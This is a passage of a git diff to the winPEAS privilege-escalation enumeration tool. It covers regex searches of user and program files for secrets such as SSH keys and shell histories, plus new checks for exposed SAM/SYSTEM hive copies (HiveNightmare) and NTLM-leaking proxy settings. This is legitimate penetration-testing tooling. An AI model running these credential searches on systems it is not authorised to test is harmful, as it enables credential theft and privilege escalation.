{files.Count} files"); - valid_extensions.ForEach(ext => - { - int cont = 0; - files.ForEach(f => - { - if (f.Extension.ToLower() == ext.ToLower()) - cont++; - }); - Beaprint.PrintDebugLine($"Found {cont} files with ext {ext}"); - }); - - } - - /* - * Useful for debbugging purposes to see the common file extensions found - Dictionary dict_str = new Dictionary(); - foreach (var f in files) - { - if (dict_str.ContainsKey(f.Extension)) - dict_str[f.Extension] += 1; - else - dict_str[f.Extension] = 1; - } - - var sortedDict = from entry in dict_str orderby entry.Value descending select entry; - - foreach (KeyValuePair kvp in sortedDict) - { - Console.WriteLine(string.Format("Key = {0}, Value = {1}", kvp.Key, kvp.Value)); - }*/ - - //double pb = 0; - //using (var progress = new ProgressBar()) - //{ - // CheckRunner.Run(() => - // { - // int num_threads = 8; - // try - // { - // num_threads = Environment.ProcessorCount; - // } - // catch (Exception ex) { } - - // Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f => - // { - - // foreach (var regex_obj in config.regular_expresions) - // { - // foreach (var regex in regex_obj.regexes) - // { - // if (regex.disable != null && regex.disable.ToLower().Contains("winpeas")) - // { - // continue; - // } - - // List results = new List { }; - - // var timer = new Stopwatch(); - // if (Checks.IsDebug) - // { - // timer.Start(); - // } - - - // try - // { - // string text = File.ReadAllText(f.FullPath); - - // results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive); - // if (results.Count > 0) - // { - // if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary>> { }; - // if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary> { }; - - // foundRegexes[regex_obj.name][regex.name][f.FullPath] = results; - // } - // } - // catch (System.IO.IOException) - // { - // // Cannot read the file - // } - - // if (Checks.IsDebug) - // { - // timer.Stop(); - - // TimeSpan timeTaken = timer.Elapsed; - // if (timeTaken.TotalMilliseconds > 20000) - // Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}"); - // } - // } - // } - // pb += (double)100 / files.Count; - // progress.Report(pb / 100); //Value must be in [0..1] range - // }); - // }, Checks.IsDebug); - //} - - - double pb = 0; - using (var progress = new ProgressBar()) - { - CheckRunner.Run(() => - { - int num_threads = 8; - try - { - num_threads = Environment.ProcessorCount; - } - catch (Exception ex) { } - - Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f => - { - foreach (var regex_obj in config.regular_expresions) - { - foreach (var regex in regex_obj.regexes) - { - if (regex.disable != null && regex.disable.ToLower().Contains("winpeas")) - { - continue; - } - - Dictionary> fileResults = new Dictionary>(); - - var timer = new Stopwatch(); - if (Checks.IsDebug) - { - timer.Start(); - } - - try - { - using (StreamReader sr = new StreamReader(f.FullPath)) - { - string line; - while ((line = sr.ReadLine()) != null) - { - List results = SearchContent(line, regex.regex, (bool)regex.caseinsensitive); - if (results.Count > 0) - { - if (!fileResults.ContainsKey(f.FullPath)) - { - fileResults[f.FullPath] = new List(); - } - fileResults[f.FullPath].AddRange(results); - } - } - } - - if (fileResults.Count > 0) - { - if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary>> { }; - if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary> { }; - - foundRegexes[regex_obj.name][regex.name] = fileResults; - } - } - catch (System.IO.IOException) - { - // Cannot read the file - } - - if (Checks.IsDebug) - { - timer.Stop(); - - TimeSpan timeTaken = timer.Elapsed; - if (timeTaken.TotalMilliseconds > 10000) - Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}ms in {f.FullPath}"); - } - } - } - pb += (double)100 / files.Count; - progress.Report(pb / 100); //Value must be in [0..1] range - }); - }, Checks.IsDebug); - } - - - // Print results - foreach (KeyValuePair>>> item in foundRegexes) - { - foreach (KeyValuePair>> item2 in item.Value) - { - string masterCategory = item.Key; - string regexCategory = item2.Key; - int limit = 70; - - string msg = $"Found {masterCategory}-{regexCategory} Regexes"; - if (item2.Value.Count > limit) - msg += $" (limited to {limit})"; - - Beaprint.MainPrint(msg, "T1552.001"); - - int cont = 0; - foreach (KeyValuePair> item3 in item2.Value) - { - if (cont > limit) - break; - - foreach (string regexMatch in item3.Value) - { - string filePath = item3.Key; - Beaprint.PrintNoNL($"{filePath}: "); - Beaprint.BadPrint(regexMatch); - } - - cont++; - } - } - } - } - catch (Exception e) - { - Beaprint.GrayPrint($"Error looking for regexes inside files: {e}"); - } - } - - private static string GetRegexpFromString(string str) - { - // we need to update the regexp to work here - // . -> \. - // * -> .* - // add $ at the end to avoid false positives - - var pattern = str.Replace(".", @"\.") - .Replace("*", @".*"); - - pattern = $"{pattern}$"; - - return pattern; - } - - private static bool ProcessResult( - CustomFileInfo fileInfo, - Helpers.YamlConfig.YamlConfig.SearchParameters.FileSettings fileSettings, - ref int resultsCount) - { - // print depending on the options here - resultsCount++; - - if (resultsCount > ListFileLimit) return false; - - // If contains undesireable string, stop processing - if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0) - { - foreach (var rem_path in fileSettings.remove_path.Split('|')) - { - if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower())) - return false; - } - } - - if (fileSettings.type == "f") - { - var colors = new Dictionary - { - { fileInfo.Filename, Beaprint.ansi_color_bad } - }; - Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors); - - if (!(bool)fileSettings.just_list_file) - { - GrepResult(fileInfo, fileSettings); - } - } - else if (fileSettings.type == "d") - { - var colors = new Dictionary - { - { fileInfo.Filename, Beaprint.ansi_color_bad } - }; - Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors); - - // just list the directory - if ((bool)fileSettings.just_list_file) - { - string[] files = Directory.GetFiles(fileInfo.FullPath, "*", SearchOption.TopDirectoryOnly); - - foreach (var file in files) - { - Beaprint.BadPrint($" {file}"); - } - } - else - { - // should not happen - } - } - - return true; - } - - private static void GrepResult(CustomFileInfo fileInfo, FileSettings fileSettings) - { - var fileContent = File.ReadLines(fileInfo.FullPath); - var colors = new Dictionary(); - - if ((bool)fileSettings.only_bad_lines) - { - colors.Add(fileSettings.bad_regex, Beaprint.ansi_color_bad); - fileContent = fileContent.Where(l => Regex.IsMatch(l, fileSettings.bad_regex, RegexOptions.IgnoreCase)); - } - else - { - string lineGrep = null; - - if ((bool)fileSettings.remove_empty_lines) - { - fileContent = fileContent.Where(l => !string.IsNullOrWhiteSpace(l)); - } - - if (!string.IsNullOrWhiteSpace(fileSettings.remove_regex)) - { - var pattern = GetRegexpFromString(fileSettings.remove_regex); - fileContent = fileContent.Where(l => !Regex.IsMatch(l, pattern, RegexOptions.IgnoreCase)); - } - - if (!string.IsNullOrWhiteSpace(fileSettings.good_regex)) - { - colors.Add(fileSettings.good_regex, Beaprint.ansi_color_good); - } - if (!string.IsNullOrWhiteSpace(fileSettings.bad_regex)) - { - colors.Add(fileSettings.bad_regex, Beaprint.ansi_color_bad); - } - if (!string.IsNullOrWhiteSpace(fileSettings.line_grep)) - { - lineGrep = SanitizeLineGrep(fileSettings.line_grep); - } - - fileContent = fileContent.Where(line => (!string.IsNullOrWhiteSpace(fileSettings.good_regex) && Regex.IsMatch(line, fileSettings.good_regex, RegexOptions.IgnoreCase)) || - (!string.IsNullOrWhiteSpace(fileSettings.bad_regex) && Regex.IsMatch(line, fileSettings.bad_regex, RegexOptions.IgnoreCase)) || - (!string.IsNullOrWhiteSpace(lineGrep) && Regex.IsMatch(line, lineGrep, RegexOptions.IgnoreCase))); - } - - var content = string.Join(Environment.NewLine, fileContent); - - Beaprint.AnsiPrint(content, colors); - - if (content.Length > 0) - Console.WriteLine(); - } - - private static string SanitizeLineGrep(string lineGrep) - { - // sanitize the string, e.g. - // '-i -a -o "description.*" | sort | uniq' - // - remove everything except from "description.*" - - Regex regex; - if (lineGrep.Contains("-i")) - { - regex = new Regex("\"([^\"]+)\"", RegexOptions.IgnoreCase); - } - else - { - regex = new Regex("\"([^\"]+)\""); - } - - Match match = regex.Match(lineGrep); - - if (match.Success) - { - var group = match.Groups[1]; - return group.Value; - } - - return null; - } - } -} + + List wildcardDirectories = new List() + { + "apache*", + "tomcat*", + }; + + foreach (var wildcardDirectory in wildcardDirectories) + { + directories.AddRange(Directory.GetDirectories(systemDrive, wildcardDirectory, SearchOption.TopDirectoryOnly)); + } + + foreach (var directory in directories) + { + files.AddRange(SearchHelper.GetFilesFast(directory, "*", isFoldersIncluded: true)); + } + + files.AddRange(SearchHelper.RootDirUsers); + // files.AddRange(SearchHelper.RootDirCurrentUser); // not needed, it's contained within RootDirUsers + files.AddRange(SearchHelper.DocumentsAndSettings); + files.AddRange(SearchHelper.GroupPolicyHistory); // TODO maybe not needed here + if (useProgramFiles) + { + files.AddRange(SearchHelper.ProgramFiles); + files.AddRange(SearchHelper.ProgramFilesX86); + } + + return files; + } + + private static bool[] Search(List files, string fileName, FileSettings fileSettings, ref int resultsCount, string searchName, bool somethingFound) + { + if (Checks.IsDebug) + Beaprint.PrintDebugLine($"Searching for {fileName}"); + + bool isRegexSearch = fileName.Contains("*"); + bool isFolder = fileSettings.files != null; + string pattern = string.Empty; + + + if (isRegexSearch) + { + pattern = GetRegexpFromString(fileName); + } + + foreach (var file in files) + { + bool isFileFound = false; + + if (isFolder) + { + if (pattern == string.Empty) + { + isFileFound = file.FullPath.ToLower().Contains($"\\{fileName}\\"); + } + else + { + foreach (var fold in file.FullPath.Split('\\').Skip(1)) + { + try + { + isFileFound = Regex.IsMatch(fold, pattern, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(20)); + if (isFileFound) break; + } + catch (RegexMatchTimeoutException e) + { + if (Checks.IsDebug) + { + Beaprint.GrayPrint($"The file in folder regex {pattern} had a timeout in {fold} (ReDoS avoided but regex unchecked in a file)"); + } + } + } + } + } + else + { + if (pattern == String.Empty) + { + isFileFound = file.Filename.ToLower() == fileName.ToLower(); + } + else + { + try + { + isFileFound = Regex.IsMatch(file.Filename, pattern, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(20)); + } + catch (RegexMatchTimeoutException e) + { + if (Checks.IsDebug) + { + Beaprint.GrayPrint($"The file regex {pattern} had a timeout in {file.Filename} (ReDoS avoided but regex unchecked in a file)"); + } + } + } + } + + + if (isFileFound) + { + if (!somethingFound) + { + Beaprint.MainPrint($"Found {searchName} Files", "T1552.001"); + somethingFound = true; + } + + if (!isFolder) + { + var isProcessed = ProcessResult(file, fileSettings, ref resultsCount); + if (!isProcessed) + { + return new bool[] { true, somethingFound }; + } + } + // there are inner sections + else + { + foreach (var innerFileToSearch in fileSettings.files) + { + List one_file_list = new List() { file }; + Search(one_file_list, innerFileToSearch.name, innerFileToSearch.value, ref resultsCount, searchName, somethingFound); + } + } + } + } + + + return new bool[] { false, somethingFound }; + } + + public static List SearchContent(string text, string regex_str, bool caseinsensitive) + { + List foundMatches = new List(); + + try + { + Regex rgx; + bool is_re_match = false; + try + { + // Escape backslashes in the regex string - I don't think this is needed anymore + //string escapedRegex = regex_str.Trim().Replace(@"\", @"\\"); + string escapedRegex = regex_str.Trim(); + + // Use "IsMatch" because it supports timeout, if exception is thrown exit the func to avoid ReDoS in "rgx.Matches" + if (caseinsensitive) + { + is_re_match = Regex.IsMatch(text, escapedRegex, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(120)); + rgx = new Regex(escapedRegex, RegexOptions.IgnoreCase); + } + else + { + is_re_match = Regex.IsMatch(text, escapedRegex, RegexOptions.None, TimeSpan.FromSeconds(120)); + rgx = new Regex(escapedRegex); + } + } + catch (RegexMatchTimeoutException e) + { + if (Checks.IsDebug) + { + Beaprint.GrayPrint($"The regex {regex_str} had a timeout (ReDoS avoided but regex unchecked in a file)"); + } + return foundMatches; + } + + if (!is_re_match) + { + return foundMatches; + } + + int cont = 0; + foreach (Match match in rgx.Matches(text)) + { + if (cont > 10) break; + + if (match.Value.Length < 400 && match.Value.Trim().Length > 2) + foundMatches.Add(match.Value); + + cont++; + } + } + catch (Exception e) + { + Beaprint.GrayPrint($"Error looking for regex {regex_str} inside files: {e}"); + } + + return foundMatches; + } + + private static void PrintYAMLSearchFiles() + { + try + { + var files = InitializeFileSearch(); + //var folders = files.Where(f => f.IsDirectory).ToList(); + var config = Checks.YamlConfig; + var defaults = config.defaults; + var searchItems = config.search.Where(i => !(i.value.disable != null && i.value.disable.Contains("winpeas"))); + + foreach (var searchItem in searchItems) + { + var searchName = searchItem.name; + var value = searchItem.value; + var searchConfig = value.config; + bool somethingFound = false; + + CheckRunner.Run(() => + { + int resultsCount = 0; + bool[] results; + bool isSearchFinished = false; + + foreach (var file in value.files) + { + var fileName = file.name.ToLower(); + var fileSettings = file.value; + + results = Search(files, fileName, fileSettings, ref resultsCount, searchName, somethingFound); + + isSearchFinished = results[0]; + somethingFound = results[1]; + + if (isSearchFinished) + { + break; + } + } + }, Checks.IsDebug); + } + } + catch (Exception e) + { + } + } + + private static void PrintYAMLRegexesSearchFiles() + { + try + { + //List extra_no_extensions = new List() { ".msi", ".exe", ".dll", ".pyc", ".pyi", ".lnk", ".css", ".hyb", ".etl", ".mo", ".xrm-ms", ".idl", ".vsix", ".mui", ".qml", ".tt" }; + + List valid_extensions = new List() { + // text + ".txt", ".text", ".md", ".markdown", ".toml", ".rtf", + + // config + ".cnf", ".conf", ".config", ".json", ".yml", ".yaml", ".xml", ".xaml", + + // dev + ".py", ".js", ".html", ".c", ".cpp", ".pl", ".rb", ".smali", ".java", ".php", ".bat", ".ps1", + + // hidden + ".id_rsa", ".id_dsa", ".bash_history", ".rsa", + }; + + List invalid_names = new List() + { + "eula.rtf", "changelog.md" + }; + + if (Checks.IsDebug) + Beaprint.PrintDebugLine("Looking for secrets inside files via regexes"); + + // No dirs, less than 1MB, only interesting extensions and not false positives files. + var files = InitializeFileSearch(Checks.SearchProgramFiles).Where(f => !f.IsDirectory && valid_extensions.Contains(f.Extension.ToLower()) && !invalid_names.Contains(f.Filename.ToLower()) && f.Size > 0 && f.Size < Checks.MaxRegexFileSize).ToList(); + var config = Checks.RegexesYamlConfig; // Get yaml info + Dictionary>>> foundRegexes = new Dictionary>>> { }; + + if (Checks.IsDebug) + { + Beaprint.PrintDebugLine($"Searching regexes in {files.Count} files"); + valid_extensions.ForEach(ext => + { + int cont = 0; + files.ForEach(f => + { + if (f.Extension.ToLower() == ext.ToLower()) + cont++; + }); + Beaprint.PrintDebugLine($"Found {cont} files with ext {ext}"); + }); + + } + + /* + * Useful for debbugging purposes to see the common file extensions found + Dictionary dict_str = new Dictionary(); + foreach (var f in files) + { + if (dict_str.ContainsKey(f.Extension)) + dict_str[f.Extension] += 1; + else + dict_str[f.Extension] = 1; + } + + var sortedDict = from entry in dict_str orderby entry.Value descending select entry; + + foreach (KeyValuePair kvp in sortedDict) + { + Console.WriteLine(string.Format("Key = {0}, Value = {1}", kvp.Key, kvp.Value)); + }*/ + + //double pb = 0; + //using (var progress = new ProgressBar()) + //{ + // CheckRunner.Run(() => + // { + // int num_threads = 8; + // try + // { + // num_threads = Environment.ProcessorCount; + // } + // catch (Exception ex) { } + + // Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f => + // { + + // foreach (var regex_obj in config.regular_expresions) + // { + // foreach (var regex in regex_obj.regexes) + // { + // if (regex.disable != null && regex.disable.ToLower().Contains("winpeas")) + // { + // continue; + // } + + // List results = new List { }; + + // var timer = new Stopwatch(); + // if (Checks.IsDebug) + // { + // timer.Start(); + // } + + + // try + // { + // string text = File.ReadAllText(f.FullPath); + + // results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive); + // if (results.Count > 0) + // { + // if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary>> { }; + // if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary> { }; + + // foundRegexes[regex_obj.name][regex.name][f.FullPath] = results; + // } + // } + // catch (System.IO.IOException) + // { + // // Cannot read the file + // } + + // if (Checks.IsDebug) + // { + // timer.Stop(); + + // TimeSpan timeTaken = timer.Elapsed; + // if (timeTaken.TotalMilliseconds > 20000) + // Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}"); + // } + // } + // } + // pb += (double)100 / files.Count; + // progress.Report(pb / 100); //Value must be in [0..1] range + // }); + // }, Checks.IsDebug); + //} + + + double pb = 0; + using (var progress = new ProgressBar()) + { + CheckRunner.Run(() => + { + int num_threads = 8; + try + { + num_threads = Environment.ProcessorCount; + } + catch (Exception ex) { } + + Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f => + { + foreach (var regex_obj in config.regular_expresions) + { + foreach (var regex in regex_obj.regexes) + { + if (regex.disable != null && regex.disable.ToLower().Contains("winpeas")) + { + continue; + } + + Dictionary> fileResults = new Dictionary>(); + + var timer = new Stopwatch(); + if (Checks.IsDebug) + { + timer.Start(); + } + + try + { + using (StreamReader sr = new StreamReader(f.FullPath)) + { + string line; + while ((line = sr.ReadLine()) != null) + { + List results = SearchContent(line, regex.regex, (bool)regex.caseinsensitive); + if (results.Count > 0) + { + if (!fileResults.ContainsKey(f.FullPath)) + { + fileResults[f.FullPath] = new List(); + } + fileResults[f.FullPath].AddRange(results); + } + } + } + + if (fileResults.Count > 0) + { + if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary>> { }; + if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary> { }; + + foundRegexes[regex_obj.name][regex.name] = fileResults; + } + } + catch (System.IO.IOException) + { + // Cannot read the file + } + + if (Checks.IsDebug) + { + timer.Stop(); + + TimeSpan timeTaken = timer.Elapsed; + if (timeTaken.TotalMilliseconds > 10000) + Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}ms in {f.FullPath}"); + } + } + } + pb += (double)100 / files.Count; + progress.Report(pb / 100); //Value must be in [0..1] range + }); + }, Checks.IsDebug); + } + + + // Print results + foreach (KeyValuePair>>> item in foundRegexes) + { + foreach (KeyValuePair>> item2 in item.Value) + { + string masterCategory = item.Key; + string regexCategory = item2.Key; + int limit = 70; + + string msg = $"Found {masterCategory}-{regexCategory} Regexes"; + if (item2.Value.Count > limit) + msg += $" (limited to {limit})"; + + Beaprint.MainPrint(msg, "T1552.001"); + + int cont = 0; + foreach (KeyValuePair> item3 in item2.Value) + { + if (cont > limit) + break; + + foreach (string regexMatch in item3.Value) + { + string filePath = item3.Key; + Beaprint.PrintNoNL($"{filePath}: "); + Beaprint.BadPrint(regexMatch); + } + + cont++; + } + } + } + } + catch (Exception e) + { + Beaprint.GrayPrint($"Error looking for regexes inside files: {e}"); + } + } + + private static string GetRegexpFromString(string str) + { + // we need to update the regexp to work here + // . -> \. + // * -> .* + // add $ at the end to avoid false positives + + var pattern = str.Replace(".", @"\.") + .Replace("*", @".*"); + + pattern = $"{pattern}$"; + + return pattern; + } + + private static bool ProcessResult( + CustomFileInfo fileInfo, + Helpers.YamlConfig.YamlConfig.SearchParameters.FileSettings fileSettings, + ref int resultsCount) + { + // print depending on the options here + resultsCount++; + + if (resultsCount > ListFileLimit) return false; + + // If contains undesireable string, stop processing + if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0) + { + foreach (var rem_path in fileSettings.remove_path.Split('|')) + { + if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower())) + return false; + } + } + + if (fileSettings.type == "f") + { + var colors = new Dictionary + { + { fileInfo.Filename, Beaprint.ansi_color_bad } + }; + Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors); + + if (!(bool)fileSettings.just_list_file) + { + GrepResult(fileInfo, fileSettings); + } + } + else if (fileSettings.type == "d") + { + var colors = new Dictionary + { + { fileInfo.Filename, Beaprint.ansi_color_bad } + }; + Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors); + + // just list the directory + if ((bool)fileSettings.just_list_file) + { + string[] files = Directory.GetFiles(fileInfo.FullPath, "*", SearchOption.TopDirectoryOnly); + + foreach (var file in files) + { + Beaprint.BadPrint($" {file}"); + } + } + else + { + // should not happen + } + } + + return true; + } + + private static void GrepResult(CustomFileInfo fileInfo, FileSettings fileSettings) + { + var fileContent = File.ReadLines(fileInfo.FullPath); + var colors = new Dictionary(); + + if ((bool)fileSettings.only_bad_lines) + { + colors.Add(fileSettings.bad_regex, Beaprint.ansi_color_bad); + fileContent = fileContent.Where(l => Regex.IsMatch(l, fileSettings.bad_regex, RegexOptions.IgnoreCase)); + } + else + { + string lineGrep = null; + + if ((bool)fileSettings.remove_empty_lines) + { + fileContent = fileContent.Where(l => !string.IsNullOrWhiteSpace(l)); + } + + if (!string.IsNullOrWhiteSpace(fileSettings.remove_regex)) + { + var pattern = GetRegexpFromString(fileSettings.remove_regex); + fileContent = fileContent.Where(l => !Regex.IsMatch(l, pattern, RegexOptions.IgnoreCase)); + } + + if (!string.IsNullOrWhiteSpace(fileSettings.good_regex)) + { + colors.Add(fileSettings.good_regex, Beaprint.ansi_color_good); + } + if (!string.IsNullOrWhiteSpace(fileSettings.bad_regex)) + { + colors.Add(fileSettings.bad_regex, Beaprint.ansi_color_bad); + } + if (!string.IsNullOrWhiteSpace(fileSettings.line_grep)) + { + lineGrep = SanitizeLineGrep(fileSettings.line_grep); + } + + fileContent = fileContent.Where(line => (!string.IsNullOrWhiteSpace(fileSettings.good_regex) && Regex.IsMatch(line, fileSettings.good_regex, RegexOptions.IgnoreCase)) || + (!string.IsNullOrWhiteSpace(fileSettings.bad_regex) && Regex.IsMatch(line, fileSettings.bad_regex, RegexOptions.IgnoreCase)) || + (!string.IsNullOrWhiteSpace(lineGrep) && Regex.IsMatch(line, lineGrep, RegexOptions.IgnoreCase))); + } + + var content = string.Join(Environment.NewLine, fileContent); + + Beaprint.AnsiPrint(content, colors); + + if (content.Length > 0) + Console.WriteLine(); + } + + private static string SanitizeLineGrep(string lineGrep) + { + // sanitize the string, e.g. + // '-i -a -o "description.*" | sort | uniq' + // - remove everything except from "description.*" + + Regex regex; + if (lineGrep.Contains("-i")) + { + regex = new Regex("\"([^\"]+)\"", RegexOptions.IgnoreCase); + } + else + { + regex = new Regex("\"([^\"]+)\""); + } + + Match match = regex.Match(lineGrep); + + if (match.Success) + { + var group = match.Groups[1]; + return group.Value; + } + + return null; + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/FilesInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/FilesInfo.cs index 8fc784ef..7b1549a8 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/FilesInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/FilesInfo.cs @@ -6,6 +6,7 @@ using winPEAS.Helpers; using winPEAS.Helpers.Registry; using winPEAS.Helpers.Search; +using winPEAS.Info.FilesInfo; using winPEAS.Info.FilesInfo.Certificates; using winPEAS.Info.FilesInfo.McAfee; using winPEAS.Info.FilesInfo.Office; @@ -113,11 +114,11 @@ internal class FilesInfo : ISystemCheck }; - public string[] MitreAttackIds { get; } = new[] { "T1083", "T1552.001", "T1552.002", "T1552.004", "T1552.006", "T1003.002", "T1564.001", "T1574.001", "T1059.004", "T1114.001", "T1218", "T1649" }; + public string[] MitreAttackIds { get; } = new[] { "T1083", "T1552.001", "T1552.002", "T1552.004", "T1552.006", "T1003.002", "T1003.004", "T1564.001", "T1574.001", "T1059.004", "T1114.001", "T1218", "T1649" }; public void PrintInfo(bool isDebug) { - Beaprint.GreatPrint("Interesting files and registry", "T1083,T1552.001,T1552.002,T1552.004,T1552.006,T1003.002,T1564.001,T1574.001,T1059.004,T1114.001,T1218,T1649"); + Beaprint.GreatPrint("Interesting files and registry", "T1083,T1552.001,T1552.002,T1552.004,T1552.006,T1003.002,T1003.004,T1564.001,T1574.001,T1059.004,T1114.001,T1218,T1649"); new List { @@ -197,18 +198,62 @@ void PrintSAMBackups() { try { - Beaprint.MainPrint("Looking for common SAM & SYSTEM backups", "T1003.002"); - List sam_files = InterestingFiles.InterestingFiles.GetSAMBackups(); - foreach (string path in sam_files) - { - var permissions = PermissionsHelper.GetPermissionsFile(path, Checks.CurrentUserSiDs, PermissionType.READABLE_OR_WRITABLE); + Beaprint.MainPrint("Exposed SAM, SECURITY and SYSTEM registry hives", "T1003.002,T1003.004"); + Beaprint.LinkPrint("https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934", + "CVE-2021-36934 (HiveNightmare): unsafe hive ACLs plus a readable VSS copy can expose credentials and enable SYSTEM escalation"); + + RegistryHiveExposureReport report = RegistryHiveExposure.GetReport( + InterestingFiles.InterestingFiles.GetRegistryHiveBackups()); - if (permissions.Any()) + const int maxFindingsToPrint = 20; + foreach (RegistryHiveExposureFinding finding in report.Findings.Take(maxFindingsToPrint)) + { + if (finding.Kind == RegistryHiveExposureKind.UnsafeLiveAcl) + { + Beaprint.BadPrint($" Unsafe live hive ACL: {finding.Path}"); + Beaprint.BadPrint($" Read access granted to enabled SID: {finding.Trustee}"); + Beaprint.GrayPrint(" Existing or future shadow copies may make this locked hive readable."); + } + else { - Beaprint.BadPrint(" " + path); - Beaprint.BadPrint(" File Permissions: " + string.Join(", ", permissions) + "\n"); + string source = finding.Kind == RegistryHiveExposureKind.ReadableShadowCopy + ? "VSS shadow copy" + : "backup"; + Beaprint.BadPrint($" Readable {finding.HiveName} {source}: {finding.Path}"); + if (!string.IsNullOrEmpty(finding.Trustee)) + { + Beaprint.BadPrint($" File-data read access granted to unprivileged SID: {finding.Trustee}"); + Beaprint.GrayPrint(" The ACL was inspected; no hive contents were read."); + } + else + { + Beaprint.GrayPrint(" Access was verified by opening a read-only handle; no hive contents were read."); + } } } + + if (report.Findings.Count == 0) + { + Beaprint.GoodPrint(" No unsafe live hive ACLs or readable registry hive copies were found."); + } + else if (report.Findings.Count > maxFindingsToPrint) + { + Beaprint.GrayPrint($" Showing {maxFindingsToPrint}/{report.Findings.Count} registry hive exposures."); + } + + if (report.ShadowCopyEnumerationSucceeded) + { + string limitSuffix = report.ShadowCopyLimitReached ? " (scan limit reached)" : ""; + Beaprint.GrayPrint($" VSS shadow copies checked: {report.ShadowCopiesChecked}{limitSuffix}"); + } + else if (report.ShadowDeviceProbeUsed) + { + Beaprint.GrayPrint($" VSS WMI enumeration unavailable; probed {report.ShadowCopiesChecked} bounded device IDs."); + } + else + { + Beaprint.GrayPrint(" VSS shadow copies could not be enumerated in the current context."); + } } catch (Exception ex) { diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/NetworkInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/NetworkInfo.cs index 813907aa..22982c9b 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/NetworkInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/NetworkInfo.cs @@ -389,6 +389,7 @@ private static void PrintMappedDrivesWMI() } catch (Exception e) { + Beaprint.PrintException(e.Message); } } @@ -408,6 +409,35 @@ private static void PrintInternetSettings() Beaprint.NoColorPrint($" {i.Hive,-10} {i.ValueName,-40} {i.Value}"); } + Beaprint.ColorPrint("\n HTTP Proxy Exposure Sources", Beaprint.LBLUE); + Beaprint.LinkPrint("https://www.zerodayinitiative.com/advisories/ZDI-26-708/", "Review unexpected proxy destinations for the Windows HTTP proxy machine-account NTLM disclosure path"); + + if (info.ProxySettings.Count == 0) + { + Beaprint.NoColorPrint(" No explicit WinINet, WinHTTP, policy or environment proxy settings found"); + } + else + { + foreach (var proxySetting in info.ProxySettings) + { + string source = $"{proxySetting.Hive}\\{proxySetting.Path}"; + Beaprint.NoColorPrint($" Source : {source}"); + Beaprint.NoColorPrint($" Setting : {proxySetting.ValueName} = {proxySetting.Value}"); + Beaprint.NoColorPrint($" Classification : {proxySetting.Interpretation}\n"); + } + + bool hasRemoteDestination = info.ProxySettings.Any(setting => + !string.IsNullOrEmpty(setting.Interpretation) && + setting.Interpretation.Contains("remote destination")); + + if (hasRemoteDestination) + { + Beaprint.BadPrint(" Potential machine-account NTLM disclosure path: a remote proxy/PAC destination is configured. Risk requires the destination to be effective and attacker-controlled or otherwise untrusted."); + } + } + + Beaprint.InfoPrint(" Exposure-oriented only: organization approval/external control and affected Windows builds cannot be determined. Correlate with the NTLM outbound restriction settings reported by winPEAS; no authentication is triggered by this check."); + Beaprint.ColorPrint("\n Zone Maps", Beaprint.LBLUE); if (info.ZoneMaps.Count == 0) @@ -439,6 +469,7 @@ private static void PrintInternetSettings() } catch (Exception ex) { + Beaprint.PrintException(ex.Message); } } @@ -509,7 +540,7 @@ private void PrintHostnameResolution() if (!string.IsNullOrEmpty(resolutionInfo.ExternalCheckResult)) { Beaprint.GoodPrint($" External Check Result:"); - Beaprint.NoColorPrint(resolutionInfo.ExternalCheckResult); + Beaprint.NoColorPrint(" " + resolutionInfo.ExternalCheckResult.Replace("\n", "\n ")); } else if (!string.IsNullOrEmpty(resolutionInfo.Error)) { diff --git a/Offensive Security & Penetration 